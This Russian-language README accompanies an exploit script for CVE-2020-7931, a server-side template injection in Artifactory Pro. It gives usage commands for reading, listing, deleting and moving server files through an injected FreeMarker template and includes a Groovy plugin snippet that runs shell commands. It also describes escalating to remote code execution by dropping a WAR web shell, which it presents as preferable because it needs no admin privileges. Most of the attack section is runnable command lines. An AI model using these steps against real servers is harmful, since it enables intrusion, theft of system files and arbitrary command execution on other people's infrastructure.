
Взлом Artifactory с помощью серверной инъекции шаблонов
CVE-2020-7931 — это своего рода уязвимость намеренной неверной конфигурации в Artifactory, которая позволяет злоумышленникам выполнять инъекции шаблонов на стороне сервера из шаблона FreeMarker.
Уязвимость была обнаружена Райаном Хэнсоном из Atredis и была исправлена для всех затронутых версий в конце 2019 года. Она работает только на Pro-версиях Artifactory, поскольку другие версии не имеют возможностей шаблонизации.
Этот репозиторий содержит скрипт и шаблон.
Шаблон получает первый GET-параметр для определения желаемого действия. Допустимые действия:
info Возвращает информацию о текущей конфигурации
read <filepath> Читает файл как есть
read_bytes <filepath> Читает файл бинарно как целые числа
list <dirpath> Выводит содержимое каталога
create_file <filepath> Создаёт пустой файл
mkdir <dirpath> Создаёт папку
delete <filepath> Удаляет файл или пустую папку
move <src> <dst> Перемещает файл (*)
copy <scr_path> <src_file> <dst> Копирует файл в корень веб-приложения. Обратите внимание на странные аргументы (**)
(*): move использует Java-метод renameTo, который не работает между разными файловыми системами. Чтобы выполнить перемещение между файловыми системами, необходимо использовать copy, а затем move, подробнее ниже.
(**): путь к источнику должен быть разделён на базовый путь и имя файла; назначение указывается относительно корневого пути веб-приложения Artifactory, например /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Как мы уже видели, renameTo() не будет работать между разными файловыми системами. Чтобы эмулировать это, сначала скопируйте файл, затем переместите (сделайте это немедленно, иначе Artifactory может аварийно завершиться!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): Как объяснялось ранее, здесь /bla на самом деле ссылается на /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla, потому что root.write() обязательно записывает в текущий корень веб-приложения.
Это позволяет эксплуатировать конфигурации, которые хранят артефакты на отдельной файловой системе (что является разумной практикой!).
По умолчанию при установке Artifactory невозможно создавать экземпляры классов, поэтому обычный трюк с freemarker.template.utility.Execute не сработает.
Существует несколько других способов получить удалённое выполнение кода, просто манипулируя файловой системой:
Вот пример плагина Groovy, выполняющего команды оболочки, более подробные примеры здесь:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Плагины должны быть размещены в пути плагинов /var/opt/jfrog/artifactory/etc/plugins/ и перезагружены с помощью вызова API, который требует привилегий администратора Artifactory:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Вот сервлет Tomcat, реализующий веб-шелл.
WAR-файлы должны быть помещены в путь веб-приложений Tomcat /opt/jfrog/artifactory/tomcat/webapps/. По умолчанию развёртывание WAR-файлов происходит автоматически, и будет запущено другое веб-приложение рядом с экземпляром Artifactory, например, по адресу http://localhost:8081/sample/.
Это предпочтительный метод, так как он не требует привилегий администратора Artifactory и позволяет выполнять команды на лету.